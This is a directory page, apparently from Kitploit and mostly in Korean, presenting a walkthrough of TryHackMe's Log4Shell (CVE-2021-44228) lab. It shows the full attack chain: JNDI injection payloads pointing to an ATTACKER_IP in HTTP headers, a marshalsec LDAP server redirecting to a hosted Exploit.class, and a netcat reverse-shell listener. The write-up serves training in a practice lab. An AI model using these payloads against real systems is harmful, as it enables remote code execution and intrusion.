Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
solar-exploiting-log4j — This repository provides a detailed walkthrough of the *Solar Exploiting Log4j room* on TryHackMe, focusing on exploiting the critical Log4Shell vulnerability (CVE-2021-44228). The project demonstrates how attackers can leverage insecure logging mechanisms in Java applications to achieve remote code execution. | Kitploit
도구/GitHubGitHub/lavanya2085/solar-exploiting-log4j
Vulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingLearning & EducationLabs & Practice
GitHublavanya2085/solar-exploiting-log4j

solar-exploiting-log4j

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →

소개

This repository provides a detailed walkthrough of the *Solar Exploiting Log4j room* on TryHackMe, focusing on exploiting the critical Log4Shell vulnerability (CVE-2021-44228). The project demonstrates how attackers can leverage insecure logging mechanisms in Java applications to achieve remote code execution.

저장소 보기
5개월 전아직 검토되지 않음
공유

🔥 Solar Exploiting Log4j - TryHackMe Walkthrough

📌 방: Solar Exploiting Log4j

플랫폼: TryHackMe 난이도: 중간 주제: Log4Shell (Log4j 취약점)


🧠 목표

Log4j 취약점(CVE-2021-44228)을 이용하여 원격 코드 실행을 달성하고 플래그를 획득합니다.


🛠️ 사용된 도구

  • Nmap
  • Burp Suite
  • cURL
  • Netcat
  • Python HTTP Server

🌐 1단계: 정찰

🔍 대상 스캔

root@kitploit:~
nmap -sC -sV <TARGET_IP>

📌 발견 사항

  • 열린 포트: 80 (HTTP), 기타 포트는 방에 따라 다름
  • Java 기반 백엔드가 실행 중인 웹 애플리케이션

🌐 2단계: 웹 열거

  • 브라우저에서 웹 앱 방문
  • 입력 필드(로그인/검색/헤더 필드)와 상호 작용
  • Burp Suite를 사용하여 요청 캡처

💥 3단계: Log4j 취약점 식별

Log4j 취약점은 JNDI 인젝션을 허용합니다:

root@kitploit:~
${jndi:ldap://<ATTACKER_IP>:1389/a}

입력이 로깅되면 → 취약점이 존재합니다.


⚙️ 4단계: 리스너 설정

Netcat 시작

root@kitploit:~
nc -lvnp 4444

악의적인 LDAP 서버 시작 (예시)

root@kitploit:~
git clone https://github.com/mbechler/marshalsec
cd marshalsec
mvn clean package

LDAP 서버 실행:

root@kitploit:~
java -cp target/marshalsec.jar marshalsec.jndi.LDAPRefServer "http://<ATTACKER_IP>:8000/#Exploit" 1389

📡 5단계: 페이로드 호스팅

root@kitploit:~
python3 -m http.server 8000

악의적인 Java 클래스 생성 (Exploit.class)


🚀 6단계: 익스플로잇 트리거

취약한 필드에 페이로드 주입:

root@kitploit:~
${jndi:ldap://<ATTACKER_IP>:1389/Exploit}

💡 다음과 같은 헤더 사용:

  • User-Agent
  • X-Api-Version

🖥️ 7단계: 리버스 셸 획득

트리거되면:

  • 대상이 Netcat 리스너에 다시 연결
  • 셸 접근 권한 획득

🔐 8단계: 권한 상승 (필요한 경우)

확인:

root@kitploit:~
sudo -l

찾아볼 것:

  • 잘못 구성된 SUID 바이너리
  • 쓰기 가능한 파일
  • Cron 작업

🚩 9단계: 플래그 획득

root@kitploit:~
find / -name flag.txt 2>/dev/null
cat flag.txt

🧾 배운 핵심 개념

  • Log4Shell (CVE-2021-44228)
  • JNDI 인젝션
  • 원격 코드 실행 (RCE)
  • 리버스 셸
  • 웹 익스플로잇

도구 다운로드